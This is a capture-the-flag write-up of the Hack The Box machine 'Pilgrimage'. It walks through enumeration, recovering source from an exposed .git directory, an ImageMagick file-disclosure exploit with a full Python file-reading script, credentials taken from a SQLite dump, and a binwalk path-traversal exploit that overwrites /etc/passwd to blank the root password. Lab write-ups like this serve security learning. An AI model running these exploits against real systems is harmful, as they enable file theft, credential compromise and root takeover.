Pilgrimage Writeup

25 November 2023 #CTF #HTB #box #easy #linux

pilgrimage info

Enumeration

nmap

$ sudo nmap -sC -sV pilgrimage.htb
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-git:
|   10.129.27.189:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

Note that nmap will find the git repo only if you previously added pilgrimage.htb to your /etc/hosts.

HTTP

We can use a tool like git-dumper to basically "clone" the repo:

$ git-dumper http://pilgrimage.htb/.git web-src
[...]

There isn't much inside this repo, only a .git directory:

$ cd web-src/

$ ls -Alh
total 4.0K
drwxr-xr-x 7 yep yep 4.0K Nov 25 13:04 .git

It turns out that all files were deleted:

$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    assets/bulletproof.php
	deleted:    assets/css/animate.css
	deleted:    assets/css/custom.css
	deleted:    assets/css/flex-slider.css
	deleted:    assets/css/fontawesome.css
	deleted:    assets/css/owl.css
	deleted:    assets/css/templatemo-woox-travel.css
	deleted:    assets/images/banner-04.jpg
	deleted:    assets/images/cta-bg.jpg
	deleted:    assets/js/custom.js
	deleted:    assets/js/isotope.js
	deleted:    assets/js/isotope.min.js
	deleted:    assets/js/owl-carousel.js
	deleted:    assets/js/popup.js
	deleted:    assets/js/tabs.js
	deleted:    assets/webfonts/fa-brands-400.ttf
	deleted:    assets/webfonts/fa-brands-400.woff2
	deleted:    assets/webfonts/fa-regular-400.ttf
	deleted:    assets/webfonts/fa-regular-400.woff2
	deleted:    assets/webfonts/fa-solid-900.ttf
	deleted:    assets/webfonts/fa-solid-900.woff2
	deleted:    assets/webfonts/fa-v4compatibility.ttf
	deleted:    assets/webfonts/fa-v4compatibility.woff2
	deleted:    dashboard.php
	deleted:    index.php
	deleted:    login.php
	deleted:    logout.php
	deleted:    magick
	deleted:    register.php
	deleted:    vendor/bootstrap/css/bootstrap.min.css
	deleted:    vendor/bootstrap/js/bootstrap.min.js
	deleted:    vendor/jquery/jquery.js
	deleted:    vendor/jquery/jquery.min.js
	deleted:    vendor/jquery/jquery.min.map
	deleted:    vendor/jquery/jquery.slim.js
	deleted:    vendor/jquery/jquery.slim.min.js
	deleted:    vendor/jquery/jquery.slim.min.map

no changes added to commit (use "git add" and/or "git commit -a")

We can use git restore . to get back all files that were deleted.

This repo looks like the webroot of the application listening on port 80. There is an odd magick file, let's download it (I couldn't retrieve it with git restore . for some reason):

$ wget http://pilgrimage.htb/magick
[...]

$ file magick
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped

This is an executable file for Linux, let's throw it in Virustotal to see if it is known:

imagemagick virustotal

Apparently, this is an AppImage (file format to distribute portable applications) version of the ImageMagick tool

$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

This particular version of ImageMagick has a file disclosure vulnerability

Foothold

The application is using this magick binary to shrink the size of images users upload (in index.php from the git repo):

<?php
[...]
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() .       $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
[...]

The exploit involves adding a profile field in the metadata of a PNG image and set it to the filename we want to read.

We'll use this poc to generate malicious files:

$ ./cve-2022-44268 /etc/passwd

$ exiftool image.png
[...]
Profile         : /etc/passwd
[...]

After uploading the image to the application, we get a link to download it:

$ wget http://pilgrimage.htb/shrunk/6561f78d14195.png
[...]

$ identify -verbose 6561f78d14195.png
[...]
    Raw profile type:

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
[...]

If we hex decode this blob, we get the /etc/passwd of the remote box.

Since the process of reading files is pretty cumbersome, i wrote a python helper script to read files interactively:

#!/usr/bin/env python3

import requests
from subprocess import run, PIPE
from cmd import Cmd
from urllib.parse import urlparse, parse_qs
from typing import Union
from pathlib import Path

URL = "http://pilgrimage.htb/"

session = requests.Session()
#session.proxies.update({ "http": "http://127.0.0.1:8080" })

class Term(Cmd):
    prompt = ">_ "

    def default(self, filename: str):
        img_url = self.upload_image(filename)
        if img_url:
            self.download_shrinked_image(img_url)
            file_contents = self.parse_image()
            print(file_contents.decode())
        self.cleanup()

    def do_save(self, filename: str):
        img_url = self.upload_image(filename)
        if img_url:
            self.download_shrinked_image(img_url)
            file_contents = self.parse_image()
            self.save_file(filename, file_contents)
        self.cleanup()

    def upload_image(self, filename: str) -> Union[str, None]:
        run(f"./cve-2022-44268 {filename}", shell=True)
        with open("image.png", "rb") as image:
            file = { "toConvert": image }
            res = session.post(URL, files=file, allow_redirects=False)
        if "Location" in res.headers:
            url = urlparse(res.headers["Location"])
            query = parse_qs(url.query)
            return query["message"][0]

    def download_shrinked_image(self, url: str):
        res = session.get(url)
        with open("output.png", "wb") as output_image:
            output_image.write(res.content)

    def parse_image(self) -> bytes:
        hex_output = run("identify -verbose output.png | grep '^[[:xdigit:]]'", shell=True, stdout=PIPE).stdout.decode()
        return bytes.fromhex(hex_output).rstrip()

    def save_file(self, filename: str, file_contents: bytes):
        Path("./downloaded_files").mkdir(exist_ok=True)
        filename = filename[1:].replace("/", "_")
        with open("./downloaded_files/" + filename, "wb") as outfile:
            outfile.write(file_contents)

    def cleanup(self):
        Path("./image.png").unlink(missing_ok=True)
        Path("./output.png").unlink(missing_ok=True)

    def do_EOF(self, _):
        raise KeyboardInterrupt


term = Term()
try:
    term.cmdloop()
except KeyboardInterrupt:
    session.close()
    print("")

It's using the cmd standard module to provide a shell-like interface to read files:

$ python getfile.py
>_ /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]

Since we have the source code the application, we know that user accounts are stored in a sqlite database, located at /var/db/pilgrimage:

<?php
// index.php
[...]
$db = new PDO('sqlite:/var/db/pilgrimage');
[...]

The python script has a save command to save the supplied file in a directory called downloaded_files. After downloading it, we can dump the DB:

$ sqlite3 downloaded_files/var_db_pilgrimage .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
INSERT INTO users VALUES('emily','abigchonkyboi123');
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL);
COMMIT;

We can use these creds to login as emily (also found in /etc/passwd) via SSH:

$ ssh emily@pilgrimage.htb
[...]
emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)

Privesc

There is a custom bash script running as root:

emily@pilgrimage:~$ ps -ef --forest
[...]
root   626    1  0 Nov25 ?  00:00:00 /bin/bash /usr/sbin/malwarescan.sh
[...]

Here is the bash script:

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
    filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
    binout="$(/usr/local/bin/binwalk -e "$filename")"
    for banned in "${blacklist[@]}"; do
        if [[ "$binout" == *"$banned"* ]]; then
            /usr/bin/rm "$filename"
            break
        fi
    done
done

The inotifywait command will watch the /var/www/pilgrimage.htb/shrunk directory and execute binwalk on newly created files.

This is how to get the version of binwalk:

emily@pilgrimage:~$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from importlib import metadata
>>> metadata.version("binwalk")
'2.3.2'

Weird, i know but this is how binwalk does it...

This version of binwalk is vulnerable to a directory traversal within the PFS filesystem extractor. This allows us to write arbitrary files anywhere we want (the script is running as root).

I wrote an exploit script based on this poc that will overwrite the /etc/passwd file to remove the password of the root user, allowing anyone to become root with a simple su -l:

#!/usr/bin/env python3

from pathlib import Path

outfile = b"../../../../../../../../../../etc/passwd".hex()

header_pfs = bytes.fromhex(f"5046532f302e39000000000000000100{outfile}0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")

# remove password for the root user
passwd = b"""\
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
"""

filename = "/var/www/pilgrimage.htb/shrunk/malwarexd"
Path(filename).unlink(missing_ok=True)
with open(filename, "wb") as f:
    f.write(header_pfs)
    f.write(passwd)

Let's see it in action:

emily@pilgrimage:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash

emily@pilgrimage:~$ ./binwalk-rce.py

emily@pilgrimage:~$ head /etc/passwd
root::0:0:root:/root:/bin/bash

emily@pilgrimage:~$ su -l

root@pilgrimage:~# id
uid=0(root) gid=0(root) groups=0(root)

This is of course not the stealthiest method to get root and you should definitely revert the change by editing /etc/passwd and putting back the x between the first 2 columns to avoid giving root shells to everybody (:

Key Takeaways